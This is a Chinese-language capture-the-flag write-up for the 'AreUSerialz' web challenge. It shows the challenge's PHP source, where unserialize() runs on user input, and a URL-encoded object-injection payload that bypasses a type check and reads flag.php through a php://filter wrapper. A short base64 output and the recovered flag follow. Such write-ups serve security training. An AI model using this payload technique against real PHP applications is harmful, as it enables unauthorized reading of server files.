【2020年第二屆“網鼎杯”網絡安全大賽 青龍組】Web AreUSerialz

find the flag

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

反序列化，繞過

二話不說，上playload：

?str=O%3A11%3A"FileHandler"%3A3%3A{s%3A2%3A"op"%3Bi%3A2%3Bs%3A8%3A"filename"%3Bs%3A62%3A"php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fweb%2Fhtml%2Fflag.php"%3Bs%3A7%3A"content"%3BN%3B}

拿去base64解碼

PDanID0gImZsYWd7NGVhM2U3YzQtOTI4MmEtOTI2MGZmMTBiN2g==

終於，你想夢寐以求的！日思夜想的！寢食難安的！

<?php

$flag = "flag{XXXXX}";

一槍 pwn

待續…